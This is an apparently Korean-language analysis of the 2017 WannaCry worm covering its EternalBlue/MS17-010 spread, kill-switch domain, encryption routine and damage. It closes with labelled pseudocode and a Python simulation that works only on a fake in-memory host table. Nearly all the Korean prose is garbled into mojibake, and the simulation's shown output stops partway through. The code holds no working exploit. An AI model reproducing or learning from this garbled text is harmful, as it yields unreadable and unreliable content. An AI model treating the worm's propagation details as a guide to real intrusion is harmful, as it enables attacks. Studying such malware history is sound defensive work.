1. ๋ฐฐ๊ฒฝ/์ญ์ฌ โ ์ธ์ , ๋๊ฐ, ์ ์ ๋ช ํ๊ฐ
WannaCry(์ผ๋ช WanaCrypt0r 2.0, WCry)๋ 2017๋ 5์ 12์ผ(๊ธ) ์คํ ์ ์ธ๊ณ๋ฅผ ๋์๋ค๋ฐ๋ก ๊ฐํํ ์๊ฐ์ ํํ(์) ๋์ฌ์จ์ด๋ค. ๊ฐ์ผ PC์ ํ์ผ์ ์ํธํํด ๋นํธ์ฝ์ธ ๋ชธ๊ฐ์ ์๊ตฌํ๋ฉด์, ์ค์ค๋ก ๋คํธ์ํฌ๋ฅผ ํค์ง๊ณ ๋ค๋๋ฉฐ 24์๊ฐ๋ ์ ๋์ด 150๊ฐ๊ตญ 23๋ง ๋ ์ด์์ ๊ฐ์ผ์ํจ ์ต์ ์ ์ฌ์ด๋ฒ ์ฌ๊ณ ์ค ํ๋๋ก ๊ธฐ๋ก๋๋ค.
- ๋ฌด๊ธฐ์ ์์ฐ์ง โ NSA: WannaCry์ ์ฌ์ฅ๋ถ๋ ๋ฏธ๊ตญ ๊ตญ๊ฐ์๋ณด๊ตญ(NSA) ์ฐํ Equation Group์ด ๋ง๋ EternalBlue ์ต์คํ๋ก์์ด๋ค. ์ด๋ Windows์ SMBv1(445/TCP) ๊ตฌํ๋ถ ์ปค๋ ์ทจ์ฝ์ (MS17-010, ํต์ฌ CVE-2017-0144)์ ์๊ฒฉ์์ ํฐ๋จ๋ ค SYSTEM ๊ถํ ์ฝ๋ ์คํ์ ์ป๋ ๋๊ตฌ์๋ค.
- ์ ์ถ ๊ฒฝ๋ก โ Shadow Brokers: 2016๋ 8์ ์ ์ฒด๋ถ๋ช ์ ํด์ปค ๊ทธ๋ฃน "Shadow Brokers"๊ฐ NSA ๋๊ตฌ ์ผ๋ถ๋ฅผ ๊ณต๊ฐยท๊ฒฝ๋งคํ๊ธฐ ์์ํ๊ณ , 2017๋ 4์ 14์ผ EternalBlue์ DoublePulsar(๋ฐฑ๋์ด)๋ฅผ ํฌํจํ ๋๋ ์ ์ถ๋ถ์ ์ธํฐ๋ท์ ํ์๋ค. ๊ตญ๊ฐ๊ฐ ๋น์ถํ 0-day๊ฐ ํ๋ฃป๋ฐค ์ฌ์ด ์ ์ธ๊ณ ๊ณต๊ฐ๋ ๊ฒ์ด๋ค.
- ์น๋ช ์ ์์ด๋ฌ๋ โ ํจ์น๊ฐ ์ด๋ฏธ ์์๋ค: ๋ง์ดํฌ๋ก์ํํธ๋ ์ ์ถ 1๊ฐ์ ์ ์ธ 2017๋ 3์ 14์ผ ํจ์น ํ์์ผ์์ MS17-010 ๋ณด์ ์ ๋ฐ์ดํธ๋ฅผ ์ด๋ฏธ ๋ฐฐํฌํ๋ค. ๋ฌธ์ ๋ ์๋ฐฑ๋ง ๋์ PCยท์๋ฒ๊ฐ (ํนํ ๋ถ๋ฒ ๋ณต์ ยทEOLยท์๋ ์ ๋ฐ์ดํธ ๊บผ์ง ํ๊ฒฝ์์) ํจ์น๋ฅผ ์ ์ฉํ์ง ์์๋ค๋ ์ ์ด๋ค.
- ํฌ ์ค์์น์ ์์
: ๋น์ 22์ธ ์๊ตญ์ธ ๋ณด์ ์ฐ๊ตฌ์ Marcus Hutchins(MalwareTech)๊ฐ ์ํ ๋ถ์ ์ค ํ๋์ฝ๋ฉ๋ ์๋ฌธ์ ๋๋ฉ์ธ(
iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com)์ ๋ฐ๊ฒฌ, 5์ 12์ผ ์คํ 3์(UTC)๊ฒฝ ์ด ๋๋ฉ์ธ์ ๋ฑ๋กํ๋ฉด์ ํญ๋ฐ์ ํ์ฐ์ด ๊ธ๊ฐํ๋ค. ๋ฑ๋ก๋์ง ์์ ๋๋ฉ์ธ์ ์กฐํํ๋ ์์ด "๋๋ฉ์ธ์ด ์ด์์๋ค"๋ ์๋ต์ ๋ฐ์ ์ ํ๋ฅผ ๋ฉ์ถ ๊ฒ์ด๋ค. - ๊ท์: ๋ฏธ๊ตญ NSAยท์๊ตญ NCSC ๋ฑ ์๋ฐฉ ์ ๋ถ๋ ๋ถํ Lazarus ๊ทธ๋ฃน(๋ฏธ๊ตญ ๋ช ์นญ Hidden Cobra) ์ํ์ผ๋ก ๊ณต์ ํ๊ฐํ๋ค. ๋ฏธ ๋ฒ๋ฌด๋ถ๋ 2018๋ 9์ 6์ผ ๋ถํ ์ ๊ถ ์ง์ ํ๋ก๊ทธ๋๋จธ ๋ฐ์งํ์ WannaCryยท์๋ํฝ์ฒ์ค ํดํน ๋ฑ๊ณผ ์ฐ๋ฃจ์์ผ ๊ธฐ์ํ๋ค.
2. ๊ฐ์ผยท์ ํ ๊ฒฝ๋ก โ ์ด๋ป๊ฒ ํผ์ก๋
WannaCry๋ ์ด๋ฉ์ผ ์ฒจ๋ถ ๋ฑ์ผ๋ก ๋จ ํ ๋์ ์นจํฌํ๋ฉด ์ดํ๋ก๋ ์ฌ๋์ ๊ฐ์ ์์ด ์์ํ๊ฒ ๋คํธ์ํฌ๋ฅผ ํตํด ์ค์ค๋ก ๋ฒ์ก๋ค. C2(๋ช ๋ น์ ์ด) ์๋ฒ๋ ํ์ ์๋ ์์ ์์จํ ํฌ๋ฆฝํ ์์ด๋ค.
- 1๋จ๊ณ โ ๋๋กํผ ์คํ: ์ฌ์ฉ์๊ฐ ์ฒจ๋ถ/๋ถ๋ฒ ๋ณต์ ํ์ผ ๋ฑ์ ์คํํ๋ฉด ๋๋กํผ๊ฐ ๋ด์ฅ ์ํธํ ๋ฆฌ์์ค๋ฅผ ํ์ด
mssecsvc.exe(์)์tasksche.exe(๋์ฌ์จ์ด)๋ฅผ%WINDIR%์ ๋๋กญํ๊ณ ์คํํ๋ค.mssecsvc.exe๋ "Microsoft Security Center (2.0) Service"(mssecsvc2.0)๋ผ๋ ์๋น์ค๋ก ๋ฑ๋ก๋ผ ์ฌ๋ถํ ํ์๋ ์ด์๋จ๋๋ค. - 2๋จ๊ณ โ ํฌ ์ค์์น ์ฒดํฌ: ์์ ํ์ฐ ์ ์ ๋จผ์
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com์ DNS ์กฐํํ๋ค. ๋๋ฉ์ธ์ด ํ๋ฆฌ๋ฉด(์กด์ฌํ๋ฉด) ์กฐ์ฉํ ์ ํ๋ฅผ ํฌ๊ธฐํ๋ค. โ ์ด ๋๋ฌธ์ 5์ 12์ผ ์คํ 3์ ์ดํ๋ก๋ ์ ๊ท ๊ฐ์ผ์ด ๊ธ๊ฐํ๋ค. - 3๋จ๊ณ โ ๋๋ค ์ค์บ: ํฌ ์ค์์น๊ฐ ์ฃฝ์ด ์์ผ๋ฉด ๋ค์์ ์ค๋ ๋๋ก ๋ฌด์์ IPv4 ์ฃผ์๋ฅผ ์์ฑํด TCP 445(SMBv1) ํฌํธ ๊ฐ๋ฐฉ ์ฌ๋ถ๋ฅผ ์ค์บํ๋ค.
- 4๋จ๊ณ โ EternalBlue ์ต์คํ๋ก์: 445๊ฐ ์ด๋ฆฐ ํธ์คํธ์ ๋ํด MS17-010 ์ปค๋ RCE๋ฅผ ์๋ํ๋ค. ์ฑ๊ณตํ๋ฉด SYSTEM ๊ถํ์ผ๋ก ํ์ด๋ก๋๋ฅผ ์ฃผ์ ยท์คํํด ์๋๋ฐฉ์ ๊ฐ์ผ์ํค๊ณ , ๊ฐ์ผ๋ PC๋ ๋ค์ 2~4๋จ๊ณ์ ์ค์บ๋๊ฐ ๋์ด ์ง์์ ์ผ๋ก ํ์ฐํ๋ค.
- ๊ณต๊ฒฉ ๊ฐ๋ฅ OS: SMBv1์ ์ฐ๋ Windows XP/Vista/7/8.1/Server 2003~2008 ๋ฑ. ํนํ ์ง์์ด ๋๋(ํจ์น ๋ถ๊ฐ) XPยท2003๋ ๊ทธ๋๋ก ๋ ธ์ถ๋์ด, ๋ง์ดํฌ๋ก์ํํธ๋ ์ฌ์ ์ ๋ก์์ด 5์ 13์ผ EOL OS์ฉ ๊ธด๊ธ ํจ์น๋ฅผ ๋ด๋์๋ค.
3. ๋์ ์๋ฆฌ ์์ธ ๋ถ์ โ ์ฝ๋/๊ตฌ์กฐ ๋ ๋ฒจ์์
WannaCry์ ๊ตฌ์กฐ๋ ํฌ๊ฒ โ ๋๋กํผ โ โก SMB ์(mssecsvc.exe) โ โข ๋์ฌ์จ์ด(tasksche.exe + @WanaDecryptor@.exe) 3๊ฐ ์ธต์ผ๋ก ๋๋๋ค. ๊ฐ ์ธต์ ์ฝ๋/ํ์ผ ๊ตฌ์กฐ ๋ ๋ฒจ์์ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
- ๋๋กํผ์ ์์ฒด ์ถ์ถ๊ธฐ: ํ์ด๋ก๋๋ ๋๋กํผ ๋ฆฌ์์ค์ ์ํธํ๋ ์์นด์ด๋ธ๋ก ๋ค์ด ์๊ณ , ๋ฐ์ด๋๋ฆฌ์ ๋ด์ฅ๋ ํค๋ก ๋ณตํธํํ๋ค. ์ถ์ถ๋ฌผ์๋
@WanaDecryptor@.exe(๋ชธ๊ฐ UI/๋ณตํธํ๊ธฐ),00000000.pky(RSA-2048 ๊ณต๊ฐํค),00000000.eky,t.wnry,taskdl.exe,taskse.exe, 28๊ฐ ์ธ์ด์ ์๋ด๋ฌธmsg/*.wnry, ์ ๊ธ ๋ฐฐ๊ฒฝํ๋ฉดb.wnry, Tor ๊ด๋ จs.wnry๋ฑ์ด ํฌํจ๋ผ ์๋ค. - EternalBlue์ ๋ณธ์ง โ FEA ๊ธธ์ด ๊ฒ์ฆ ๋๋ฝ: MS17-010์ SMBv1์
SMB_COM_TRANSACTION2์์ฒญ ์ฒ๋ฆฌ ๋ฃจํด์ด FEA(File Extended Attributes) ๋ฆฌ์คํธ์ ๊ธธ์ด ํ๋๋ฅผ ์ ๋๋ก ๊ฒ์ฆํ์ง ์์ ์ปค๋ ํ(pool) ๋ฒํผ ์ค๋ฒํ๋ก๊ฐ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ด๋ค. ์ต์คํ๋ก์์ ์กฐ์๋ FEA ๋ฆฌ์คํธ๋กsrv.sys์ ํ ํ ๋น์ ์์ฌ ์ปค๋ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ฎ์ด์ฐ๊ณ , ๊ฒฐ๊ตญ ์ปค๋(SYSTEM) ์ปจํ ์คํธ์์ ์์ ์ฝ๋ ์คํ์ ์ป๋๋ค. (๊ตฌ์กฐ ์ค๋ช ์ฉ ์์ฌ์ฝ๋)/* MS17-010(EternalBlue)์ ๋ณธ์ง์ ์ค๋ช ํ๋ ๊ต์ก์ฉ ์์ฌ์ฝ๋ โ ์ค์ ์ทจ์ฝ ์ฝ๋๊ฐ ์๋ */ /* ํด๋ผ์ด์ธํธ๊ฐ ๋ณด๋ธ TRANS2 ์์ฒญ: "FEA ๋ฆฌ์คํธ ํฌ๊ธฐ"๋ฅผ ์์ฒญ์๊ฐ ๋ง์๋๋ก ์ง์ ๊ฐ๋ฅ */ SrvOs2FeaListSizeToFeaList(REQ req) { /* โ ์ฌ๊ธฐ๊ฐ ๋ฌธ์ : req->TotalDataCount(๊ณต๊ฒฉ์ ์ ์ด ๊ฐ)๋ฅผ ์ค์ ์์ ๋ฒํผ ํฌ๊ธฐ์ ๋น๊ตํ๋ ๊ฒ์ฆ์ด ๋๋ฝ๋์ด ์์ */ ULONG need = fea_list_need(req->pFEA, req->TotalDataCount); PVOID pool = ExAllocatePoolWithTag(NonPagedPool, need, 'DosS'); /* ๊ณต๊ฒฉ์๋ TotalDataCount๋ฅผ ์ค์ ๋ณด๋ค ํฌ๊ฒ ์์ฌ ํ ๋น๋ ํ ๋ฒํผ(pool)๋ฅผ ์ด๊ณผํด ๋ฐ์ดํฐ๋ฅผ ๋ณต์ฌํ๊ฒ ๋ง๋ ๋ค โ ํ ์ค๋ฒํ๋ก */ SrvOs2FeaListToNtFeaList(pool, req->pFEA, req->TotalDataCount); }โป ์๋ ์ทจ์ฝ์ ์ ๊ตฌ์กฐ์ ์์ด๋์ด๋ง ์ฌํํ ์ค๋ช ์ฉ ์ฝ๋๋ค. ์ค์
srv.sys์ ํจ์๋ช ยท์คํ์ ์ ๊ทธ๋๋ก ์ฎ๊ธด ๊ฒ์ด ์๋๋ฉฐ, ์ต์คํ๋ก์์ด ์๋๋ค. - DoublePulsar์์ ๊ด๊ณ: ๊ฐ์ ์ ์ถ๋ถ์ DoublePulsar๋ SMB ์๋ฒ ์ปค๋ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํจ์นํด ์๋ฐํ ๋ฐฑ๋์ด๋ฅผ ์ฌ๋ ๋๊ตฌ๋ค. WannaCry๊ฐ ๋ด์ฅํ EternalBlue ๋ณํ์ DoublePulsar ์ค์น ๋จ๊ณ ์์ด ์ต์คํ๋ก์ ์ฑ๊ณต ์ฆ์ ์์ฒด ํ์ด๋ก๋๋ฅผ ์ง์ ์คํํ๋ ๋ฐฉ์์ผ๋ก ๋ถ์๋๋ค(Kaspersky ๋ฑ).
- ๋์ฌ์จ์ด ์ํธํ ๋ฃจํด: ๋ก์ปฌ ๋๋ผ์ด๋ธ์ ๋คํธ์ํฌ ๊ณต์ ๋ฅผ ์ํํ๋ฉฐ 160์ฌ ์ข
์ด์์ ํ์ฅ์(๋ฌธ์ยท์คํ๋ ๋์ํธยท์์ถยท์ด๋ฏธ์งยทDBยท๊ฐ๋ฐ ์์ค ๋ฑ)๋ฅผ ๊ณจ๋ผ๋ธ๋ค. ํ์ผ๋ง๋ค ์๋ก์ด AES-128-CBC ํค๋ฅผ ์์ฑํด ๋ณธ๋ฌธ์ ์ํธํํ๊ณ , ๊ทธ ํค๋ฅผ ๋ฐ์ด๋๋ฆฌ์ ๋ด์ฅ๋ RSA-2048 ๊ณต๊ฐํค๋ก ๊ฐ์ผ ๋ค
WANACRY!๋ง์ปค์ ํจ๊ป ํ์ผ์ ์ ์ฅํ๋ค. ์๋ณธ ํ์ผ๋ช ๋ค์.WNCRY/.WNCRYT๊ฐ ๋ถ๋๋ค. - ๋ฌด๋ฃ ๋ณต๊ตฌ ์๋จ ์ ๊ฑฐ: ์ํธํ์ ์์ ๋ณผ๋ฅจ ์๋ ์นดํผ(์์คํ ๋ณต์ ์ง์ )์ ๋ฐฑ์ ์นดํ๋ก๊ทธ๋ฅผ ์ญ์ ํ๊ณ ๋ถํ ๋ณต๊ตฌ ์ต์ ์ ๋ฌด๋ ฅํํด, ๋ชธ๊ฐ ์์ด ๋๋๋ฆด ๊ธธ์ ์์ฒ ์ฐจ๋จํ๋ค. (PoC 3 ์ฐธ๊ณ )
- ๋ชธ๊ฐ ์๊ตฌ: ๊ฐ ํด๋์
@Please_Read_Me@.txt๋ฅผ ๋จ๊ธฐ๊ณ , ๋ฐํํ๋ฉด์ ์ ๊ทธ๋ UI๋ก "3์ผ ์์ $300 ์๋น ๋นํธ์ฝ์ธ, ๊ธฐํ ํ $600"์ ์๊ตฌํ๋ค. ๊ฒฐ์ ยท๋ณตํธํ ํ์ด์ง๋ Tor ์จ๋ ์๋น์ค๋ก ์ฐ๊ฒฐ๋๋ค. ์ต์ด ๊ณต๊ฐ ์ง๊ฐ ์ฃผ์๋13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94์๋ค. - C2๊ฐ ์๋ ์ค๊ณ: ๋ช ๋ น์ ๋ด๋ฆด ์๋ฒ๊ฐ ์์ด ์ถ์ ์ด ์ด๋ ต๊ณ , ์์ด ์ฃฝ์ด๋ ์ด๋ฏธ ํผ์ง ๋ด์ ๋ฉ์ถ์ง ์๋๋ค. "์ง๋ถ-๋ณตํธํ" ์ค์ผ์คํธ๋ ์ด์ ๋ง Tor๋ก ์ฒ๋ฆฌํ๋ค.
4. ํผํด ๊ท๋ชจ/์ํฅ โ ์ค์ ์ฌ๋ก ์์น
- ํ์ฐ ์๋ยท๊ท๋ชจ: ์ ๋กํด(Europol) ์ง๊ณ ๊ธฐ์ค ๋ฐ๋ฐ 24์๊ฐ ๋ด 150๊ฐ๊ตญ ์ด์, 23๋ง ๋ ์ด์ ๊ฐ์ผ(์ผ๋ถ ๋ถ์์ ์ต๋ 30๋ง ๋ ์ถ์ ). 5์ 12์ผ ์คํ ์ ์๊ฐ ๋ง์ ์ ์ง๊ตฌ๋ฅผ ์ํํ ๊ฐ์ฅ ๋น ๋ฅธ ์ ์ค ํ๋๋ก ๊ธฐ๋ก๋๋ค.
- ์๊ตญ NHS: ์๊ธ๋๋ NHS ํธ๋ฌ์คํธ 236๊ณณ ์ค 80๊ณณ ์ด์์ด ํ๊ฒฉ์ ์ ๊ณ ์๊ธ์คยท์ง๋ฃ ์์คํ ์ด ๋ง๋น, ์ฝ 19,000๊ฑด์ ์ง๋ฃยท์์ ์์ฝ์ด ์ทจ์๋๋ค. NHS Digital์ 2018๋ ์ด ์ฌ๊ณ ์ ๋น์ฉ์ ์ฝ 9,200๋ง ํ์ด๋๋ก ์ถ์ฐํ๋ค.
- ๊ธ๋ก๋ฒ ๊ธฐ์ ํผํด: ์คํ์ธ Telefรณnica(๋๊ท๋ชจ ๋ด๋ถ๋ง ๊ฐ์ผ), ํ๋์ค Renault(๊ณต์ฅ ๊ฐ๋ ์ค๋จ), ์๊ตญ Nissan(์ ๋๋๋ ๊ณต์ฅ ์ค๋จ), ๋ ์ผ Deutsche Bahn(์๋ดํ ๋ง๋น), ๋ฌ์์ ๋ด๋ฌด๋ถ(์ฝ 1,000๋), ์ค๊ตญ ๋ํยท์ ๋ถ ๊ธฐ๊ดยท์ฃผ์ ์ ๋ฑ์ด ์ค์ค์ด ํผํด๋ฅผ ์ ์๋ค. FedEx๋ ์ดํ ์ค์ ๋ฐํ์์ ๊ด๋ จ ํผํด๋ฅผ ์ฝ 3์ต ๋ฌ๋ฌ๋ก ์ธ๊ธํ๋ค.
- ๋ชธ๊ฐ ์์ต์ ์ด๋ผํ๋ค: ๋ธ๋ก์ฒด์ธ ์ถ์ ๊ฒฐ๊ณผ ์ค์ ์ง๋ถ๋ ๋ชธ๊ฐ์ ์ฝ 50 BTC(๋น์ 14๋ง ๋ฌ๋ฌ ์ํ)์ ๊ทธ์ณค๋ค. ๋ง๋ํ ํผํด์ ๋นํด ์์ต์ด ๋ฏธ๋ฏธํ๋ค๋ ์ ์์, "๋๋ฒ์ด"๋ณด๋ค ๊ต๋ยทํ๊ดด์ ๊ฐ๊น์ด ์์ ์ด์๋ค๋ ๋ถ์์ด ์ค๋๋ ฅ์ ์ป๋๋ค.
- ๊ฒฝ์ ์ ํผํด ์ถ์ฐ: ์ธ๋ก ยท์ฐ๊ตฌ๊ธฐ๊ด๋ณ๋ก ์์ต~์ต๋ 40์ต ๋ฌ๋ฌ๊น์ง ๋ค์ํ๊ฒ ์ถ์ฐ๋๋ค. ์ฌ์ด๋ฒ ๋ณดํยท์นจํด ๋์ ๋น์ฉ๊น์ง ํฌํจํ๋ฉด ๋จ์ผ ๋์ฌ์จ์ด ์ฌ๊ณ ๋ก๋ ๋น์ ์ต๋ ๊ท๋ชจ์๋ค.
- ํํญํ: ๊ฐ์ ํด 6์ ์ฐํฌ๋ผ์ด๋๋ฅผ ๊ฐํํ NotPetya๋ ๋์ผํ EternalBlue๋ฅผ ์ฌ์ฉํ๋ฉฐ "๊ฐ์ฅ ํ๊ดด์ ์ธ ์ฌ์ด๋ฒ ๊ณต๊ฒฉ"์ผ๋ก ๋ถ๋ ธ๋ค. ๋ํ WannaCry๋ณด๋ค ๋จผ์ (2017๋ 4์) EternalBlue๋ฅผ ์จ์ ์ํธํํ๋ฅผ ์ฑ๊ตดํ Adylkuzz ์๋ ์กด์ฌํ๋ค. ๊ตญ๊ฐ๊ธ ์ฌ์ด๋ฒ ๋ฌด๊ธฐ๊ฐ ๋ฏผ๊ฐ์ ์ ์ถ๋์ ๋์ ํ๊ธ๋ ฅ์ ๊ฐ์ธ์ํจ ๋ถ์๋ น์ด๋ค.
5. PoC โ ๊ต์ก์ฉ ๋ชจ์ ์ฝ๋๋ก ๋์ ์๋ฆฌ ์ฌํ
PoC 1 โ ์ ์ ํ + ํฌ ์ค์์น ์๋ฎฌ๋ ์ด์
: ์๋ณธ mssecsvc.exe์ "๋๋ค IP ์ค์บ โ SMB 445 ํ์ธ โ EternalBlue(๋ชจ์) โ ๊ฐ์ผ" ํ๋ฆ๊ณผ, ํฌ ์ค์์น ๋๋ฉ์ธ ๋ฑ๋ก ์ ํ์ ํ์ฐ ์ฐจ์ด๋ฅผ ์ธ๋ฉ๋ชจ๋ฆฌ ๊ฐ์ ํธ์คํธ ํ
์ด๋ธ๋ก ์ฌํํ๋ค. ์ค์ ์ต์คํ๋ก์ ์ฝ๋๋ ์์ผ๋ฉฐ ์ทจ์ฝ ์ฌ๋ถ๋ง ํ
์ด๋ธ๋ก ํ์ ํ๋ค. (์๋ ์ฝ๋๋ ์ค์ ์คํ๋ ํ์ผ ์ ๋ฌธ)
#!/usr/bin/env python3
"""
WannaCry ์ ํ + ํฌ ์ค์์น ๋์ ์๋ฆฌ ๊ต์ก์ฉ ์๋ฎฌ๋ ์ด์
(๊ฐ์์ ๋ก์ปฌ ์ค์ต ํ๊ฒฝ ์ ์ )
- ์ค์ ๋คํธ์ํฌ ์ค์บ/๊ณต๊ฒฉ/์
์ฑ์ฝ๋ ํ์ด๋ก๋๊ฐ ์ ํ ์์: ์ธ๋ฉ๋ชจ๋ฆฌ '๊ฐ์ ํธ์คํธ ํ
์ด๋ธ'๋ง ๋์
- ์๋ณธ mssecsvc.exe(์)์ '๋๋ค IP ์ค์บ -> SMB 445 ๊ฐ๋ฐฉ ํ์ธ -> EternalBlue(๋ชจ์) -> ๊ฐ์ผ' ํ๋ฆ์ ์ถ์ฝ ์ฌํ
- ํฌ ์ค์์น: ์๋ณธ์ ํน์ ๋๋ฉ์ธ(iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com)์ด DNS๋ก
ํ๋ฆฌ๋ฉด ์ ํ๋ฅผ ๋ฉ์ถ๋ค. ์ฌ๊ธฐ์๋ ๋ก์ปฌ ํจ์๋ก '๋๋ฉ์ธ ๋ฑ๋ก ์ฌ๋ถ'๋ฅผ ํ๋ด๋ธ๋ค (์ค์ DNS ์กฐํ ์์).
"""
import random
import threading
import time
# ๊ฐ์์ ๋ก์ปฌ ์ค์ต ํ๊ฒฝ: '๊ฐ์ผ ๋์' ์๋์ฐ ํธ์คํธ ํ
์ด๋ธ (์ ๋ถ ๊ฐ์ ์ฃผ์)
# vulnerable=True ์ธ ํธ์คํธ๋ MS17-010 ํจ์น๊ฐ ์ ๋ SMBv1 ํธ์คํธ๋ฅผ ๋ชจ๋ธ๋งํ๋ค
FAKE_NET = {
"10.0.0.11": {"os": "Windows 7 x64", "smb445": True, "vulnerable": True},
"10.0.0.12": {"os": "Windows 7 x86", "smb445": True, "vulnerable": True},
"10.0.0.13": {"os": "Windows 10", "smb445": True, "vulnerable": False}, # MS17-010 ํจ์น๋จ
"10.0.0.21": {"os": "Server 2008", "smb445": True, "vulnerable": True},
"10.0.0.22": {"os": "Server 2016", "smb445": True, "vulnerable": False}, # ํจ์น๋จ
"10.0.0.23": {"os": "Windows XP", "smb445": True, "vulnerable": True},
}
INFECTED = set() # ๊ฐ์ผ๋ ๊ฐ์ ํธ์คํธ
SCAN_LIMIT = 120 # ์ค์บ ์๋ ํ๋ ๋ฆฌ๋ฐ (์๋ณธ์ ๋ฌดํ ๋ฃจํ)
killswitch_registered = False # ํฌ ์ค์์น ๋๋ฉ์ธ ๋ฑ๋ก ์ฌ๋ถ (๋ก์ปฌ ํ๋๊ทธ๋ก ๋ชจ์)
def killswitch_domain_resolves():
"""ํฌ ์ค์์น ๋๋ฉ์ธ ๋ฑ๋ก ์ฌ๋ถ๋ฅผ ํ๋ด๋ด๋ ๋ก์ปฌ ํจ์.
์ค์ WannaCry: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com ์ด
DNS๋ก ํ๋ฆฌ๋ฉด(getaddrinfo ์ฑ๊ณต) ์ ํ ์ค๋ ๋๋ฅผ ์ข
๋ฃํ๋ค.
(2026-09-03 ํ์ฌ: 2017-05-12 Marcus Hutchins๊ฐ ๋ฑ๋กํ ์ดํ ๊ณ์ '๋ฑ๋ก๋จ' ์ํ)"""
return killswitch_registered
def eternalblue_mock(ip):
"""EternalBlue(MS17-010) ๋ชจ์: ๊ฐ์ ํธ์คํธ๊ฐ ํจ์น ์ ๋จ -> '์ปค๋ RCE ์ฑ๊ณต'์ผ๋ก ๊ฐ์ฃผ.
์ค์ ์ต์คํ๋ก์ ์ฝ๋๋ ์ผ์ ํฌํจํ์ง ์์ผ๋ฉฐ, ์ทจ์ฝ ์ฌ๋ถ๋ง ํ
์ด๋ธ์์ ํ์ ํ๋ค."""
h = FAKE_NET[ip]
if not h["vulnerable"]:
print(f" [EB] {ip} ({h['os']}) -> SMBv1 ํจ์น๋จ, ์ต์คํ๋ก์ ์คํจ")
return False
print(f" [EB] {ip} ({h['os']}) -> MS17-010 ์ทจ์ฝ! ์ปค๋(SYSTEM) ์ฝ๋ ์คํ (๋ชจ์)")
return True
def worm_scan():
"""์ ์ ํ ์ค๋ ๋: ๋๋ค IP ์ค์บ -> 445 ๊ฐ๋ฐฉ -> EternalBlue(๋ชจ์) -> ๊ฐ์ผ"""
scanned = 0
while scanned < SCAN_LIMIT and not killswitch_domain_resolves():
ip = f"10.0.0.{random.randint(1, 254)}"
scanned += 1
if ip not in FAKE_NET:
continue
print(f"[SCAN] {ip}:445 ๊ฐ๋ฐฉ ํ์ธ (SMBv1)")
if ip in INFECTED:
continue # ์ด๋ฏธ ๊ฐ์ผ๋ ํธ์คํธ๋ ๊ฑด๋๋
if eternalblue_mock(ip):
INFECTED.add(ip)
print(f"[WORM] {ip} ๊ฐ์ผ! -> ๋์ฌ์จ์ด ํ์ด๋ก๋(tasksche.exe) ์คํ ๋ฐ ์๊ฐ ์ ํ")
if killswitch_domain_resolves():
print("[KILLSWITCH] ํฌ ์ค์์น ๋๋ฉ์ธ์ด ๋ฑ๋ก๋จ -> ์ ํ ์ค๋จ (๋ชจ๋ ์ค๋ ๋ ์ข
๋ฃ)")
def main():
random.seed(7) # ๋ฐ๋ชจ ์ถ๋ ฅ ์์ ํ์ฉ ๊ณ ์ ์๋ (์ทจ์ฝ/ํจ์น ํธ์คํธ ๋๋น๊ฐ ์ ๋๋ฌ๋จ)
print("=== ์๋๋ฆฌ์ค A: ํฌ ์ค์์น ๋ฏธ๋ฑ๋ก (2017-05-12 ์ค์ ์ค์ ์ํฉ) ===")
worm_scan()
print(f"๊ฐ์ผ๋ ๊ฐ์ ํธ์คํธ: {sorted(INFECTED)}")
INFECTED.clear()
print()
print("=== ์๋๋ฆฌ์ค B: ํฌ ์ค์์น ๋๋ฉ์ธ ๋ฑ๋ก๋จ (2017-05-12 15:00 UTC ์ดํ) ===")
global killswitch_registered
killswitch_registered = True # MalwareTech๊ฐ ๋๋ฉ์ธ์ ๋ฑ๋กํ ์งํ๋ฅผ ๋ชจ์
t = threading.Thread(target=worm_scan)
t.start()
t.join(timeout=3)
print(f"๊ฐ์ผ๋ ๊ฐ์ ํธ์คํธ: {sorted(INFECTED)} (์ ๊ท 0๋ = ์ ํ ์ฐจ๋จ ์ฑ๊ณต)")
if __name__ == "__main__":
main()
์คํ ๊ฒฐ๊ณผ (์ค์ ์คํ ํ์ธ๋จ):
=== ์๋๋ฆฌ์ค A: ํฌ ์ค์์น ๋ฏธ๋ฑ๋ก (2017-05-12 ์ค์ ์ค์ ์ํฉ) ===
[SCAN] 10.0.0.13:445 ๊ฐ๋ฐฉ ํ์ธ (SMBv1)
[EB] 10.0.0.13 (Windows 10) -> SMBv1 ํจ์น๋จ, ์ต์คํ๋ก์ ์คํจ
[SCAN] 10.0.0.23:445 ๊ฐ๋ฐฉ ํ์ธ (SMBv1)
[EB] 10.0.0.23 (Windows XP) -> MS17-010 ์ทจ์ฝ! ์ปค๋(SYSTEM) ์ฝ๋ ์คํ (๋ชจ์)
[WORM] 10.0.0.23 ๊ฐ์ผ! -> ๋์ฌ์จ์ด ํ์ด๋ก๋(tasksche.exe) ์คํ ๋ฐ ์๊ฐ ์ ํ
[SCAN] 10.0.0.13:445 ๊ฐ๋ฐฉ ํ์ธ (SMBv1)
[EB] 10.0.0.13 (Windows 10) -> SMBv1 ํจ์น๋จ, ์ต์คํ๋ก์ ์คํจ
[SCAN] 10.0.0.12:445 ๊ฐ๋ฐฉ ํ์ธ (SMBv1)
[EB] 10.0.0.12 (Windows 7 x86) -> MS17-010 ์ทจ์ฝ! ์ปค๋(SYSTEM) ์ฝ๋ ์คํ (๋ชจ์)
[WORM] 10.0.0.12 ๊ฐ์ผ! -> ๋์ฌ์จ์ด ํ์ด๋ก๋(tasksche.exe) ์คํ ๋ฐ ์๊ฐ ์ ํ
[SCAN] 10.0.0.21:445 ๊ฐ๋ฐฉ ํ์ธ (SMBv1)
[EB] 10.0.0.21 (Server 2008) -> MS17-010 ์ทจ์ฝ! ์ปค๋(SYSTEM) ์ฝ๋ ์คํ (๋ชจ์)
[WORM] 10.0.0.21 ๊ฐ์ผ! -> ๋์ฌ์จ์ด ํ์ด๋ก๋(tasksche.exe) ์คํ ๋ฐ ์๊ฐ ์ ํ
[SCAN] 10.0.0.11:445 ๊ฐ๋ฐฉ ํ์ธ (SMBv1)
[EB] 10.0.0.11 (Windows 7 x64) -> MS17-010 ์ทจ์ฝ! ์ปค๋(SYSTEM) ์ฝ๋ ์คํ (๋ชจ์)
